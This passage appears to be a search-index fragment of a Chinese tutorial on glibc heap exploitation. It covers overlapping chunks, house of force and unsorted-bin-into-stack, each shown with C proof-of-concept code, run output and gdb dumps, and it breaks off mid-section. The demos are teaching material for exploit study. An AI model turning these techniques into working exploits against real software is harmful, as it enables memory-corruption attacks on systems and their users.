\u8fd9\u6837\uff0c\u76f8\u5f53\u4e8e chunk 4 \u548c chunk 3 \u5c31\u91cd\u53e0\u4e86\uff0c\u4e24\u4e2a chunk \u53ef\u4ee5\u4e92\u76f8\u4fee\u6539\u5bf9\u65b9\u7684\u6570\u636e\u3002\u5c31\u50cf\u4e0a\u9762\u7684\u8fd0\u884c\u7ed3\u679c\u6253\u5370\u51fa\u6765\u7684\u90a3\u6837\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#overlapping_chunks_2","title":"overlapping_chunks_2","text":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n\nint main() {\n intptr_t *p1,*p2,*p3,*p4,*p5,*p6;\n unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;\n int prev_in_use = 0x1;\n\n p1 = malloc(0x10);\n p2 = malloc(0x80);\n p3 = malloc(0x80);\n p4 = malloc(0x80);\n p5 = malloc(0x10);\n real_size_p1 = malloc_usable_size(p1);\n real_size_p2 = malloc_usable_size(p2);\n real_size_p3 = malloc_usable_size(p3);\n real_size_p4 = malloc_usable_size(p4);\n real_size_p5 = malloc_usable_size(p5);\n memset(p1, 'A', real_size_p1);\n memset(p2, 'A', real_size_p2);\n memset(p3, 'A', real_size_p3);\n memset(p4, 'A', real_size_p4);\n memset(p5, 'A', real_size_p5);\n fprintf(stderr, \"Now we allocate 5 chunks on the heap\\n\\n\");\n fprintf(stderr, \"chunk p1: %p ~ %p\\n\", p1, (unsigned char *)p1+malloc_usable_size(p1));\n fprintf(stderr, \"chunk p2: %p ~ %p\\n\", p2, (unsigned char *)p2+malloc_usable_size(p2));\n fprintf(stderr, \"chunk p3: %p ~ %p\\n\", p3, (unsigned char *)p3+malloc_usable_size(p3));\n fprintf(stderr, \"chunk p4: %p ~ %p\\n\", p4, (unsigned char *)p4+malloc_usable_size(p4));\n fprintf(stderr, \"chunk p5: %p ~ %p\\n\", p5, (unsigned char *)p5+malloc_usable_size(p5));\n\n free(p4);\n fprintf(stderr, \"\\nLet's free the chunk p4\\n\\n\");\n\n fprintf(stderr, \"Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)\\n\\n\");\n *(unsigned int *)((unsigned char *)p1 + real_size_p1) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; // BUG HERE\n\n free(p2);\n\n p6 = malloc(0x1b0 - 0x10);\n real_size_p6 = malloc_usable_size(p6);\n fprintf(stderr, \"Allocating a new chunk 6: %p ~ %p\\n\\n\", p6, (unsigned char *)p6+real_size_p6);\n\n fprintf(stderr, \"Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)\\n\");\n fprintf(stderr, \"p3 before = %s\\n\", (char *)p3);\n memset(p6, 'B', 0xd0);\n fprintf(stderr, \"p3 after = %s\\n\", (char *)p3);\n}\n$ gcc -g overlapping_chunks_2.c\n$ ./a.out\nNow we allocate 5 chunks on the heap\n\nchunk p1: 0x18c2010 ~ 0x18c2028\nchunk p2: 0x18c2030 ~ 0x18c20b8\nchunk p3: 0x18c20c0 ~ 0x18c2148\nchunk p4: 0x18c2150 ~ 0x18c21d8\nchunk p5: 0x18c21e0 ~ 0x18c21f8\n\nLet's free the chunk p4\n\nEmulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)\n\nAllocating a new chunk 6: 0x18c2030 ~ 0x18c21d8\n\nNow p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)\np3 before = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\ufffd\np3 after = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\ufffd\n
\u540c\u6837\u662f\u5806\u5757\u91cd\u53e0\u7684\u95ee\u9898\uff0c\u524d\u9762\u90a3\u4e2a\u662f\u5728 chunk \u5df2\u7ecf\u88ab free\uff0c\u52a0\u5165\u5230\u4e86 unsorted bin \u4e4b\u540e\uff0c\u518d\u4fee\u6539\u5176 size \u503c\uff0c\u7136\u540e malloc \u4e00\u4e2a\u4e0d\u4e00\u6837\u7684 chunk \u51fa\u6765\uff0c\u800c\u8fd9\u91cc\u662f\u5728 free \u4e4b\u524d\u4fee\u6539 size \u503c\uff0c\u4f7f free \u9519\u8bef\u5730\u4fee\u6539\u4e86\u4e0b\u4e00\u4e2a chunk \u7684 prev_size \u503c\uff0c\u5bfc\u81f4\u4e2d\u95f4\u7684 chunk \u5f3a\u884c\u5408\u5e76\u3002\u53e6\u5916\u524d\u9762\u90a3\u4e2a\u91cd\u53e0\u662f\u76f8\u90bb\u5806\u5757\u4e4b\u95f4\u7684\uff0c\u800c\u8fd9\u91cc\u662f\u4e0d\u76f8\u90bb\u5806\u5757\u4e4b\u95f4\u7684\u3002
\u6211\u4eec\u9700\u8981\u4e94\u4e2a\u5806\u5757\uff0c\u5047\u8bbe\u7b2c chunk 1 \u5b58\u5728\u6ea2\u51fa\uff0c\u53ef\u4ee5\u6539\u5199\u7b2c\u4e8c\u4e2a chunk 2 \u7684\u6570\u636e\uff0cchunk 5 \u7684\u4f5c\u7528\u662f\u9632\u6b62\u91ca\u653e chunk 4 \u540e\u88ab\u5408\u5e76\u8fdb top chunk\u3002\u6240\u4ee5\u6211\u4eec\u8981\u91cd\u53e0\u7684\u533a\u57df\u662f chunk 2 \u5230 chunk 4\u3002\u9996\u5148\u5c06 chunk 4 \u91ca\u653e\u6389\uff0c\u6ce8\u610f\u770b chunk 5 \u7684 prev_size \u503c\uff1a
gef\u27a4 x/70gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1\n0x602010: 0x4141414141414141 0x4141414141414141\n0x602020: 0x4141414141414141 0x0000000000000091 <-- chunk 2\n0x602030: 0x4141414141414141 0x4141414141414141\n0x602040: 0x4141414141414141 0x4141414141414141\n0x602050: 0x4141414141414141 0x4141414141414141\n0x602060: 0x4141414141414141 0x4141414141414141\n0x602070: 0x4141414141414141 0x4141414141414141\n0x602080: 0x4141414141414141 0x4141414141414141\n0x602090: 0x4141414141414141 0x4141414141414141\n0x6020a0: 0x4141414141414141 0x4141414141414141\n0x6020b0: 0x4141414141414141 0x0000000000000091 <-- chunk 3\n0x6020c0: 0x4141414141414141 0x4141414141414141\n0x6020d0: 0x4141414141414141 0x4141414141414141\n0x6020e0: 0x4141414141414141 0x4141414141414141\n0x6020f0: 0x4141414141414141 0x4141414141414141\n0x602100: 0x4141414141414141 0x4141414141414141\n0x602110: 0x4141414141414141 0x4141414141414141\n0x602120: 0x4141414141414141 0x4141414141414141\n0x602130: 0x4141414141414141 0x4141414141414141\n0x602140: 0x4141414141414141 0x0000000000000091 <-- chunk 4 [be freed]\n0x602150: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer\n0x602160: 0x4141414141414141 0x4141414141414141\n0x602170: 0x4141414141414141 0x4141414141414141\n0x602180: 0x4141414141414141 0x4141414141414141\n0x602190: 0x4141414141414141 0x4141414141414141\n0x6021a0: 0x4141414141414141 0x4141414141414141\n0x6021b0: 0x4141414141414141 0x4141414141414141\n0x6021c0: 0x4141414141414141 0x4141414141414141\n0x6021d0: 0x0000000000000090 0x0000000000000020 <-- chunk 5 <-- prev_size\n0x6021e0: 0x4141414141414141 0x4141414141414141\n0x6021f0: 0x4141414141414141 0x0000000000020e11 <-- top chunk\n0x602200: 0x0000000000000000 0x0000000000000000\n0x602210: 0x0000000000000000 0x0000000000000000\n0x602220: 0x0000000000000000 0x0000000000000000\ngef\u27a4 heap bins unsorted\n[ Unsorted Bin for arena 'main_arena' ]\n[+] unsorted_bins[0]: fw=0x602140, bk=0x602140\n \u2192 Chunk(addr=0x602150, size=0x90, flags=PREV_INUSE)\n
free chunk 4 \u88ab\u653e\u5165 unsorted bin\uff0c\u5927\u5c0f\u4e3a 0x90\u3002
\u63a5\u4e0b\u6765\u662f\u6700\u5173\u952e\u7684\u4e00\u6b65\uff0c\u5229\u7528 chunk 1 \u7684\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u5c06 chunk 2 \u7684 size \u503c\u4fee\u6539\u4e3a chunk 2 \u548c chunk 3 \u7684\u5927\u5c0f\u4e4b\u548c\uff0c\u5373 0x90+0x90+0x1=0x121\uff0c\u6700\u540e\u7684 1 \u662f\u6807\u5fd7\u4f4d\u3002\u8fd9\u6837\u5f53\u6211\u4eec\u91ca\u653e chunk 2 \u7684\u65f6\u5019\uff0cmalloc \u6839\u636e\u8fd9\u4e2a\u88ab\u4fee\u6539\u7684 size \u503c\uff0c\u4f1a\u4ee5\u4e3a chunk 2 \u52a0\u4e0a chunk 3 \u7684\u533a\u57df\u90fd\u662f\u8981\u91ca\u653e\u7684\uff0c\u7136\u540e\u5c31\u9519\u8bef\u5730\u4fee\u6539\u4e86 chunk 5 \u7684 prev_size\u3002\u63a5\u7740\uff0c\u5b83\u53d1\u73b0\u7d27\u90bb\u7684\u4e00\u5757 chunk 4 \u4e5f\u662f free \u72b6\u6001\uff0c\u5c31\u628a\u5b83\u4fe9\u5408\u5e76\u5728\u4e86\u4e00\u8d77\uff0c\u7ec4\u6210\u4e00\u4e2a\u5927 free chunk\uff0c\u653e\u8fdb unsorted bin \u4e2d\u3002
gef\u27a4 x/70gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1\n0x602010: 0x4141414141414141 0x4141414141414141\n0x602020: 0x4141414141414141 0x00000000000001b1 <-- chunk 2 [be freed] <-- unsorted bin\n0x602030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer\n0x602040: 0x4141414141414141 0x4141414141414141\n0x602050: 0x4141414141414141 0x4141414141414141\n0x602060: 0x4141414141414141 0x4141414141414141\n0x602070: 0x4141414141414141 0x4141414141414141\n0x602080: 0x4141414141414141 0x4141414141414141\n0x602090: 0x4141414141414141 0x4141414141414141\n0x6020a0: 0x4141414141414141 0x4141414141414141\n0x6020b0: 0x4141414141414141 0x0000000000000091 <-- chunk 3\n0x6020c0: 0x4141414141414141 0x4141414141414141\n0x6020d0: 0x4141414141414141 0x4141414141414141\n0x6020e0: 0x4141414141414141 0x4141414141414141\n0x6020f0: 0x4141414141414141 0x4141414141414141\n0x602100: 0x4141414141414141 0x4141414141414141\n0x602110: 0x4141414141414141 0x4141414141414141\n0x602120: 0x4141414141414141 0x4141414141414141\n0x602130: 0x4141414141414141 0x4141414141414141\n0x602140: 0x4141414141414141 0x0000000000000091 <-- chunk 4 [be freed]\n0x602150: 0x00007ffff7dd1b78 0x00007ffff7dd1b78\n0x602160: 0x4141414141414141 0x4141414141414141\n0x602170: 0x4141414141414141 0x4141414141414141\n0x602180: 0x4141414141414141 0x4141414141414141\n0x602190: 0x4141414141414141 0x4141414141414141\n0x6021a0: 0x4141414141414141 0x4141414141414141\n0x6021b0: 0x4141414141414141 0x4141414141414141\n0x6021c0: 0x4141414141414141 0x4141414141414141\n0x6021d0: 0x00000000000001b0 0x0000000000000020 <-- chunk 5 <-- prev_size\n0x6021e0: 0x4141414141414141 0x4141414141414141\n0x6021f0: 0x4141414141414141 0x0000000000020e11 <-- top chunk\n0x602200: 0x0000000000000000 0x0000000000000000\n0x602210: 0x0000000000000000 0x0000000000000000\n0x602220: 0x0000000000000000 0x0000000000000000\ngef\u27a4 heap bins unsorted\n[ Unsorted Bin for arena 'main_arena' ]\n[+] unsorted_bins[0]: fw=0x602020, bk=0x602020\n \u2192 Chunk(addr=0x602030, size=0x1b0, flags=PREV_INUSE)\n
\u73b0\u5728 unsorted bin \u91cc\u7684 chunk \u7684\u5927\u5c0f\u4e3a 0x1b0\uff0c\u5373 0x90*3\u3002\u54a6\uff0c\u6240\u4ee5 chunk 3 \u867d\u7136\u662f\u4f7f\u7528\u72b6\u6001\uff0c\u4f46\u4e5f\u88ab\u5f3a\u884c\u7b97\u5728\u4e86 free chunk \u7684\u7a7a\u95f4\u91cc\u4e86\u3002
\u6700\u540e\uff0c\u5982\u679c\u6211\u4eec\u5206\u914d\u4e00\u5757\u5927\u5c0f\u4e3a 0x1b0-0x10 \u7684\u5927\u7a7a\u95f4\uff0c\u8fd4\u56de\u7684\u5806\u5757\u5373\u662f\u5305\u62ec\u4e86 chunk 2 + chunk 3 + chunk 4 \u7684\u5927 chunk\u3002\u8fd9\u65f6 chunk 6 \u548c chunk 3 \u5c31\u91cd\u53e0\u4e86\uff0c\u7ed3\u679c\u5c31\u50cf\u4e0a\u9762\u8fd0\u884c\u65f6\u6253\u5370\u51fa\u6765\u7684\u4e00\u6837\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#318-linux","title":"3.1.8 Linux \u5806\u5229\u7528\uff08\u4e0b\uff09","text":"\u4e0b\u8f7d\u6587\u4ef6
"},{"location":"Training/Material/Binary%20Exploitation/#how2heap_2","title":"how2heap","text":""},{"location":"Training/Material/Binary%20Exploitation/#house_of_force","title":"house_of_force","text":"#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n\nchar bss_var[] = \"This is a string that we want to overwrite.\";\n\nint main() {\n fprintf(stderr, \"We will overwrite a variable at %p\\n\\n\", bss_var);\n\n intptr_t *p1 = malloc(0x10);\n int real_size = malloc_usable_size(p1);\n memset(p1, 'A', real_size);\n fprintf(stderr, \"Let's allocate the first chunk of 0x10 bytes: %p.\\n\", p1);\n fprintf(stderr, \"Real size of our allocated chunk is 0x%x.\\n\\n\", real_size);\n\n intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);\n fprintf(stderr, \"Overwriting the top chunk size with a big value so the malloc will never call mmap.\\n\");\n fprintf(stderr, \"Old size of top chunk: %#llx\\n\", *((unsigned long long int *)ptr_top));\n ptr_top[0] = -1;\n fprintf(stderr, \"New size of top chunk: %#llx\\n\", *((unsigned long long int *)ptr_top));\n\n unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;\n fprintf(stderr, \"\\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\\n\", bss_var, ptr_top, evil_size);\n void *new_ptr = malloc(evil_size);\n int real_size_new = malloc_usable_size(new_ptr);\n memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20);\n fprintf(stderr, \"As expected, the new pointer is at the same place as the old top chunk: %p\\n\", new_ptr);\n\n void* ctr_chunk = malloc(0x30);\n fprintf(stderr, \"malloc(0x30) => %p!\\n\", ctr_chunk);\n fprintf(stderr, \"\\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\\n\");\n\n fprintf(stderr, \"old string: %s\\n\", bss_var);\n strcpy(ctr_chunk, \"YEAH!!!\");\n fprintf(stderr, \"new string: %s\\n\", bss_var);\n}\n$ gcc -g house_of_force.c\n$ ./a.out\nWe will overwrite a variable at 0x601080\n\nLet's allocate the first chunk of 0x10 bytes: 0x824010.\nReal size of our allocated chunk is 0x18.\n\nOverwriting the top chunk size with a big value so the malloc will never call mmap.\nOld size of top chunk: 0x20fe1\nNew size of top chunk: 0xffffffffffffffff\n\nThe value we want to write to at 0x601080, and the top chunk is at 0x824028, so accounting for the header size, we will malloc 0xffffffffffddd048 bytes.\nAs expected, the new pointer is at the same place as the old top chunk: 0x824030\nmalloc(0x30) => 0x601080!\n\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\nold string: This is a string that we want to overwrite.\nnew string: YEAH!!!\n
house_of_force \u662f\u4e00\u79cd\u901a\u8fc7\u6539\u5199 top chunk \u7684 size \u5b57\u6bb5\u6765\u6b3a\u9a97 malloc \u8fd4\u56de\u4efb\u610f\u5730\u5740\u7684\u6280\u672f\u3002\u6211\u4eec\u77e5\u9053\u5728\u7a7a\u95f2\u5185\u5b58\u7684\u6700\u9ad8\u5904\uff0c\u5fc5\u7136\u5b58\u5728\u4e00\u5757\u7a7a\u95f2\u7684 chunk\uff0c\u5373 top chunk\uff0c\u5f53 bins \u548c fast bins \u90fd\u4e0d\u80fd\u6ee1\u8db3\u5206\u914d\u9700\u8981\u7684\u65f6\u5019\uff0cmalloc \u4f1a\u4ece top chunk \u4e2d\u5206\u51fa\u4e00\u5757\u5185\u5b58\u7ed9\u7528\u6237\u3002\u6240\u4ee5 top chunk \u7684\u5927\u5c0f\u4f1a\u968f\u7740\u5206\u914d\u548c\u56de\u6536\u4e0d\u505c\u5730\u53d8\u5316\u3002\u8fd9\u79cd\u653b\u51fb\u5047\u8bbe\u6709\u4e00\u4e2a\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u6539\u5199 top chunk \u7684\u5934\u90e8\uff0c\u7136\u540e\u5c06\u5176\u6539\u4e3a\u4e00\u4e2a\u975e\u5e38\u5927\u7684\u503c\uff0c\u4ee5\u786e\u4fdd\u6240\u6709\u7684 malloc \u5c06\u4f7f\u7528 top chunk \u5206\u914d\uff0c\u800c\u4e0d\u4f1a\u8c03\u7528 mmap\u3002\u8fd9\u65f6\u5982\u679c\u653b\u51fb\u8005 malloc \u4e00\u4e2a\u5f88\u5927\u7684\u6570\u76ee\uff08\u8d1f\u6709\u7b26\u53f7\u6574\u6570\uff09\uff0ctop chunk \u7684\u4f4d\u7f6e\u52a0\u4e0a\u8fd9\u4e2a\u5927\u6570\uff0c\u9020\u6210\u6574\u6570\u6ea2\u51fa\uff0c\u7ed3\u679c\u662f top chunk \u80fd\u591f\u88ab\u8f6c\u79fb\u5230\u5806\u4e4b\u524d\u7684\u5185\u5b58\u5730\u5740\uff08\u5982\u7a0b\u5e8f\u7684 .bss \u6bb5\u3001.data \u6bb5\u3001GOT \u8868\u7b49\uff09\uff0c\u4e0b\u6b21\u518d\u6267\u884c malloc \u65f6\uff0c\u653b\u51fb\u8005\u5c31\u80fd\u591f\u63a7\u5236\u8f6c\u79fb\u4e4b\u540e\u5730\u5740\u5904\u7684\u5185\u5b58\u3002
\u9996\u5148\u968f\u610f\u5206\u914d\u4e00\u4e2a chunk\uff0c\u6b64\u65f6\u5185\u5b58\u91cc\u5b58\u5728\u4e24\u4e2a chunk\uff0c\u5373 chunk 1 \u548c top chunk\uff1a
gef\u27a4 x/8gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1\n0x602010: 0x4141414141414141 0x4141414141414141\n0x602020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk\n0x602030: 0x0000000000000000 0x0000000000000000\n
chunk 1 \u771f\u5b9e\u53ef\u7528\u7684\u5185\u5b58\u6709 0x18 \u5b57\u8282\u3002
\u5047\u8bbe chunk 1 \u5b58\u5728\u6ea2\u51fa\uff0c\u5229\u7528\u8be5\u6f0f\u6d1e\u6211\u4eec\u73b0\u5728\u5c06 top chunk \u7684 size \u503c\u6539\u4e3a\u4e00\u4e2a\u975e\u5e38\u5927\u7684\u6570\uff1a
gef\u27a4 x/8gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1\n0x602010: 0x4141414141414141 0x4141414141414141\n0x602020: 0x4141414141414141 0xffffffffffffffff <-- modified top chunk\n0x602030: 0x0000000000000000 0x0000000000000000\n
\u6539\u5199\u4e4b\u540e\u7684 size==0xffffffff\u3002
\u73b0\u5728\u6211\u4eec\u53ef\u4ee5 malloc \u4e00\u4e2a\u4efb\u610f\u5927\u5c0f\u7684\u5185\u5b58\u800c\u4e0d\u7528\u8c03\u7528 mmap \u4e86\u3002\u63a5\u4e0b\u6765 malloc \u4e00\u4e2a chunk\uff0c\u4f7f\u5f97\u8be5 chunk \u521a\u597d\u5206\u914d\u5230\u6211\u4eec\u60f3\u8981\u63a7\u5236\u7684\u90a3\u5757\u533a\u57df\u4e3a\u6b62\uff0c\u8fd9\u6837\u5728\u4e0b\u4e00\u6b21 malloc \u65f6\uff0c\u5c31\u53ef\u4ee5\u8fd4\u56de\u5230\u6211\u4eec\u60f3\u8981\u63a7\u5236\u7684\u533a\u57df\u4e86\u3002\u8ba1\u7b97\u65b9\u6cd5\u662f\u7528\u76ee\u6807\u5730\u5740\u51cf\u53bb top chunk \u5730\u5740\uff0c\u518d\u51cf\u53bb chunk \u5934\u7684\u5927\u5c0f\u3002
gef\u27a4 x/8gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000021\n0x602010: 0x4141414141414141 0x4141414141414141\n0x602020: 0x4141414141414141 0xfffffffffffff051\n0x602030: 0x0000000000000000 0x0000000000000000\ngef\u27a4 x/12gx 0x602010+0xfffffffffffff050\n0x601060: 0x4141414141414141 0x4141414141414141\n0x601070: 0x4141414141414141 0x0000000000000fa9 <-- top chunk\n0x601080 <bss_var>: 0x2073692073696854 0x676e697274732061 <-- target\n0x601090 <bss_var+16>: 0x6577207461687420 0x6f7420746e617720\n0x6010a0 <bss_var+32>: 0x6972777265766f20 0x00000000002e6574\n0x6010b0: 0x0000000000000000 0x0000000000000000\n
\u518d\u6b21 malloc\uff0c\u5c06\u76ee\u6807\u5730\u5740\u5305\u542b\u8fdb\u6765\u5373\u53ef\uff0c\u73b0\u5728\u6211\u4eec\u5c31\u6210\u529f\u63a7\u5236\u4e86\u76ee\u6807\u5185\u5b58\uff1a
gef\u27a4 x/12gx 0x602010+0xfffffffffffff050\n0x601060: 0x4141414141414141 0x4141414141414141\n0x601070: 0x4141414141414141 0x0000000000000041 <-- chunk 2\n0x601080 <bss_var>: 0x2073692073696854 0x676e697274732061 <-- target\n0x601090 <bss_var+16>: 0x6577207461687420 0x6f7420746e617720\n0x6010a0 <bss_var+32>: 0x6972777265766f20 0x00000000002e6574\n0x6010b0: 0x0000000000000000 0x0000000000000f69 <-- top chunk\n
\u8be5\u6280\u672f\u7684\u7f3a\u70b9\u662f\u4f1a\u53d7\u5230 ASLR \u7684\u5f71\u54cd\uff0c\u56e0\u4e3a\u5982\u679c\u653b\u51fb\u8005\u9700\u8981\u4fee\u6539\u6307\u5b9a\u4f4d\u7f6e\u7684\u5185\u5b58\uff0c\u4ed6\u9996\u5148\u9700\u8981\u77e5\u9053\u5f53\u524d top chunk \u7684\u4f4d\u7f6e\u4ee5\u6784\u9020\u5408\u9002\u7684 malloc \u5927\u5c0f\u6765\u8f6c\u79fb top chunk\u3002\u800c ASLR \u5c06\u4f7f\u5806\u5185\u5b58\u5730\u5740\u968f\u673a\uff0c\u6240\u4ee5\u8be5\u6280\u672f\u8fd8\u9700\u540c\u65f6\u914d\u5408\u4f7f\u7528\u4fe1\u606f\u6cc4\u6f0f\u4ee5\u8fbe\u6210\u653b\u51fb\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#unsorted_bin_into_stack","title":"unsorted_bin_into_stack","text":"#include <stdio.h>\n#include <stdlib.h>\n\nint main() {\n unsigned long stack_buf[4] = {0};\n\n unsigned long *victim = malloc(0x80);\n unsigned long *p1 = malloc(0x10);\n fprintf(stderr, \"Allocating the victim chunk at %p\\n\", victim);\n\n // deal with tcache\n // int *k[10], i;\n // for (i = 0; i < 7; i++) {\n // k[i] = malloc(0x80);\n // }\n // for (i = 0; i < 7; i++) {\n // free(k[i]);\n // }\n\n free(victim);\n fprintf(stderr, \"Freeing the chunk, it will be inserted in the unsorted bin\\n\\n\");\n\n stack_buf[1] = 0x100 + 0x10;\n stack_buf[3] = (unsigned long)stack_buf; // or any other writable address\n fprintf(stderr, \"Create a fake chunk on the stack\\n\");\n fprintf(stderr, \"fake->size: %p\\n\", (void *)stack_buf[1]);\n fprintf(stderr, \"fake->bk: %p\\n\\n\", (void *)stack_buf[3]);\n\n victim[1] = (unsigned long)stack_buf;\n fprintf(stderr, \"Now we overwrite the victim->bk pointer to stack: %p\\n\\n\", stack_buf);\n\n fprintf(stderr, \"Malloc a chunk which size is 0x110 will return the region of our fake chunk: %p\\n\", &stack_buf[2]);\n\n unsigned long *fake = malloc(0x100);\n fprintf(stderr, \"malloc(0x100): %p\\n\", fake);\n}\n$ gcc -g unsorted_bin_into_stack.c\n$ ./a.out\nAllocating the victim chunk at 0x17a1010\nFreeing the chunk, it will be inserted in the unsorted bin\n\nCreate a fake chunk on the stack\nfake->size: 0x110\nfake->bk: 0x7fffcd906480\n\nNow we overwrite the victim->bk pointer to stack: 0x7fffcd906480\n\nMalloc a chunk which size is 0x110 will return the region of our fake chunk: 0x7fffcd906490\nmalloc(0x100): 0x7fffcd906490\n
unsorted-bin-into-stack \u901a\u8fc7\u6539\u5199 unsorted bin \u91cc chunk \u7684 bk \u6307\u9488\u5230\u4efb\u610f\u5730\u5740\uff0c\u4ece\u800c\u5728\u6808\u4e0a malloc \u51fa chunk\u3002
\u9996\u5148\u5c06\u4e00\u4e2a chunk \u653e\u5165 unsorted bin\uff0c\u5e76\u4e14\u5728\u6808\u4e0a\u4f2a\u9020\u4e00\u4e2a chunk\uff1a
gdb-peda$ x/6gx victim - 2\n0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk\n0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78\n0x602020: 0x0000000000000000 0x0000000000000000\ngdb-peda$ x/4gx stack_buf\n0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk\n0x7fffffffdbd0: 0x0000000000000000 0x00007fffffffdbc0\n
\u7136\u540e\u5047\u8bbe\u6709\u4e00\u4e2a\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u6539\u5199 victim chunk \u7684 bk \u6307\u9488\uff0c\u90a3\u4e48\u5c06\u5176\u6539\u4e3a\u6307\u5411 fake chunk\uff1a
gdb-peda$ x/6gx victim - 2\n0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk\n0x602010: 0x00007ffff7dd1b78 0x00007fffffffdbc0 <-- bk pointer\n0x602020: 0x0000000000000000 0x0000000000000000\ngdb-peda$ x/4gx stack_buf\n0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk\n0x7fffffffdbd0: 0x0000000000000000 0x00007fffffffdbc0\n
\u90a3\u4e48\u6b64\u65f6\u5c31\u76f8\u5f53\u4e8e fake chunk \u5df2\u7ecf\u88ab\u94fe\u63a5\u5230 unsorted bin \u4e2d\u3002\u5728\u4e0b\u4e00\u6b21 malloc \u7684\u65f6\u5019\uff0cmalloc \u4f1a\u987a\u7740 bk \u6307\u9488\u8fdb\u884c\u904d\u5386\uff0c\u4e8e\u662f\u5c31\u627e\u5230\u4e86\u5927\u5c0f\u6b63\u597d\u5408\u9002\u7684 fake chunk\uff1a
gdb-peda$ x/6gx victim - 2\n0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk\n0x602010: 0x00007ffff7dd1bf8 0x00007ffff7dd1bf8\n0x602020: 0x0000000000000000 0x0000000000000000\ngdb-peda$ x/4gx fake - 2\n0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk\n0x7fffffffdbd0: 0x00007ffff7dd1b78 0x00007fffffffdbc0\n
fake chunk \u88ab\u53d6\u51fa\uff0c\u800c victim chunk \u88ab\u4ece unsorted bin \u4e2d\u53d6\u51fa\u6765\u653e\u5230\u4e86 small bin \u4e2d\u3002\u53e6\u5916\u503c\u5f97\u6ce8\u610f\u7684\u662f fake chunk \u7684 fd \u6307\u9488\u88ab\u4fee\u6539\u4e86\uff0c\u8fd9\u662f unsorted bin \u7684\u5730\u5740\uff0c\u901a\u8fc7\u5b83\u53ef\u4ee5\u6cc4\u9732 libc \u5730\u5740\uff0c\u8fd9\u6b63\u662f\u4e0b\u9762 unsorted bin attack \u4f1a\u8bb2\u5230\u7684\u3002
\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u89e3\u9664\u6ce8\u91ca\uff0c\u5c31\u662f libc-2.27 \u73af\u5883\u4e0b\u7684\u7248\u672c\uff0c\u4f46\u662f\u9700\u8981\u6ce8\u610f\u7684\u662f\u7531\u4e8e tcache \u7684\u5f71\u54cd\uff0cstack_buf[3]
\u4e0d\u80fd\u518d\u8bbe\u7f6e\u6210\u4efb\u610f\u5730\u5740\u3002
malloc \u524d\uff1a
gdb-peda$ x/6gx victim - 2\n0x555555756250: 0x0000000000000000 0x0000000000000091 <-- victim chunk\n0x555555756260: 0x00007ffff7dd2b00 0x00007fffffffdcb0\n0x555555756270: 0x0000000000000000 0x0000000000000000\ngdb-peda$ x/4gx stack_buf\n0x7fffffffdcb0: 0x0000000000000000 0x0000000000000110 <-- fake chunk\n0x7fffffffdcc0: 0x0000000000000000 0x00007fffffffdcb0\ngdb-peda$ x/26gx 0x0000555555756000+0x10\n0x555555756010: 0x0700000000000000 0x0000000000000000 <-- counts\n0x555555756020: 0x0000000000000000 0x0000000000000000\n0x555555756030: 0x0000000000000000 0x0000000000000000\n0x555555756040: 0x0000000000000000 0x0000000000000000\n0x555555756050: 0x0000000000000000 0x0000000000000000\n0x555555756060: 0x0000000000000000 0x0000000000000000\n0x555555756070: 0x0000000000000000 0x0000000000000000\n0x555555756080: 0x0000000000000000 0x0000555555756670 <-- entries\n0x555555756090: 0x0000000000000000 0x0000000000000000\n0x5555557560a0: 0x0000000000000000 0x0000000000000000\n0x5555557560b0: 0x0000000000000000 0x0000000000000000\n0x5555557560c0: 0x0000000000000000 0x0000000000000000\n0x5555557560d0: 0x0000000000000000 0x0000000000000000\n
malloc \u540e\uff1a
